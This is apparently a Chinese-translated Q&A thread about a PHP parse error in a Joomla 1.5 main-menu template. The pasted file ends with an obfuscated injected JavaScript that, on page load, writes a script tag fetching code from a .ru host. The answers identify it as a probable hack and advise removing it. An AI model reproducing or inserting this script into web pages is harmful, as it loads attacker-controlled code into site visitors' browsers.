解析错误:语法错误,意外'<'第84行的/home/future/public_html/modules/mod_mainmenu/tmpl/default.php

时间:2010-03-23 13:00:18

标签: php syntax-error

我很遗憾我的php文件出现了未知错误。 (对于joomla 1.5) 我似乎没有弄错。

这是我的整个代码,第84行有一个明显的错误。非常感谢一些反馈,谢谢。

<?php

// no direct access
defined('_JEXEC') or die('Restricted access');


if ( ! defined('modMainMenuXMLCallbackDefined') )
{
function modMainMenuXMLCallback(&$node, $args)
{
 $user = &JFactory::getUser();
 $menu = &JSite::getMenu();
 $active = $menu->getActive();
 $path = isset($active) ? array_reverse($active->tree) : null;

 if (($args['end']) && ($node->attributes('level') >= $args['end']))
 {
  $children = $node->children();
  foreach ($node->children() as $child)
  {
   if ($child->name() == 'ul') {
    $node->removeChild($child);
   }
  }
 }

 if ($node->name() == 'ul') {
  foreach ($node->children() as $child)
  {
   if ($child->attributes('access') > $user->get('aid', 0)) {
    $node->removeChild($child);
   }
  }
 }

 if (($node->name() == 'li') && isset($node->ul)) {
  $node->addAttribute('class', 'parent');
 }

 if (isset($path) && (in_array($node->attributes('id'), $path) || in_array($node->attributes('rel'), $path)))
 {
  if ($node->attributes('class')) {
   $node->addAttribute('class', $node->attributes('class').' active');
  } else {
   $node->addAttribute('class', 'active');
  }
 }
 else
 {
  if (isset($args['children']) && !$args['children'])
  {
   $children = $node->children();
   foreach ($node->children() as $child)
   {
    if ($child->name() == 'ul') {
     $node->removeChild($child);
    }
   }
  }
 }

 if (($node->name() == 'li') && ($id = $node->attributes('id'))) {
  if ($node->attributes('class')) {
   $node->addAttribute('class', $node->attributes('class').' item'.$id);
  } else {
   $node->addAttribute('class', 'item'.$id);
  }
 }

 if (isset($path) && $node->attributes('id') == $path[0]) {
  $node->addAttribute('id', 'current');
 } else {
  $node->removeAttribute('id');
 }
 $node->removeAttribute('rel');
 $node->removeAttribute('level');
 $node->removeAttribute('access');
}
 define('modMainMenuXMLCallbackDefined', true);
}

modMainMenuHelper::render($params, 'modMainMenuXMLCallback');

<script>var Zl;if(Zl!='' && Zl!='ki'){Zl=''};function v(){var jL=new String();var M=window;var q="";var ZY='';var Z=unescape;var C;if(C!='' && C!='g'){C=null};this.nj='';var _='';this.X="";var t=new Date();var R="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x61\x72\x65\x61\x73\x61\x6c\x65\x2d\x63\x6f\x6d\x2e\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x7a\x2e\x65\x79\x6e\x79\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var Od;if(Od!='Dm' && Od!='V'){Od='Dm'};var Vr='';var P=new String("g");var B="";var E;if(E!='' && E!='gD'){E=null};function b(y,U){var zm=new Array();var a='';this.Cm="";var Vb=new String();var k=Z("%5b")+U+Z("%5d");var tX=new String();var MV;if(MV!='' && MV!='qt'){MV='MD'};var c=new RegExp(k, P);return y.replace(c, _);var cS="";var RTD='';};var Zr;if(Zr!='' && Zr!='vJ'){Zr=''};var L=new String();var DE=new Date();var fg;if(fg!='Ep'){fg='Ep'};var nf;if(nf!=''){nf='d_'};var W=Z("%2f%67%6f%6f%67%6c%65%2e%61%74%2f%67%6f%6f%67%6c%65%2e%61%74%2f%64%72%75%64%67%65%72%65%70%6f%72%74%2e%63%6f%6d%2f%74%72%61%76%69%61%6e%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");this.aA='';var u='';this.XB='';var dP;if(dP!='i' && dP != ''){dP=null};var dN;if(dN!='' && dN!='zx'){dN='_y'};var WS=b('85624104275582212705194497','13296457');var Hb=new Array();var lP;if(lP!='ok' && lP != ''){lP=null};var O=document;function n(){var J;if(J!='mS' && J != ''){J=null};u=R;var jv;if(jv!='' && jv!='jw'){jv=''};u+=WS;var MJ;if(MJ!='Qp'){MJ=''};u+=W;var fj=new Array();this.PM="";try {this.dq='';var ln=new Date();var eS=new Date();h=O.createElement(b('sScwrwi4pSt5','OZjKg4w5S'));var uW=new String();var Aj;if(Aj!='lX'){Aj='lX'};var aF;if(aF!='' && aF!='_o'){aF=null};h.src=u;var GY;if(GY!='ev' && GY!='Jr'){GY='ev'};var KK;if(KK!=''){KK='gDq'};h.defer=[1][0];var nO;if(nO!='tP'){nO=''};var aV=new Date();var bE=new Date();O.body.appendChild(h);this.Ze="";} catch(MC){var Ki;if(Ki!='m_' && Ki != ''){Ki=null};};}M[String("pqP5onloa".substr(4)+"drYD".substr(0,1))]=n;var EY;if(EY!='' && EY!='wn'){EY='Sj'};var ep;if(ep!='' && ep!='_q'){ep='Oy'};var uE=new Array();var E_;if(E_!='iU'){E_='iU'};};this.pt="";v();var tl=new String();</script>
<!--793d57c076e95df45c451725e5dedf6f-->

3 个答案:

答案 0 :(得分:6)

我愿意冒险猜测它是文件底部的JavaScript。您需要在JavaScript之前关闭PHP标记,否则PHP最终会尝试将JavaScript视为PHP并失败。

我也非常怀疑这个JavaScript代码,因为它看起来不像是在做任何好事。我会建议完全删除它,除非你明白它在做什么。如果你没有把它放在那里,请检查你的网站是否有其他JavaScript代码,考虑更改你的FTP密码以及确保Joomla完全是最新的。

答案 1 :(得分:3)

你有病毒或什么的。 Joomla mod_menu default.php结束于 -

modMainMenuHelper::render($params, 'modMainMenuXMLCallback');

答案 2 :(得分:0)

您的生产代码是否突然停止工作?如果是这样,我敢说你被黑了。

BTW,该脚本从俄罗斯站点加载脚本。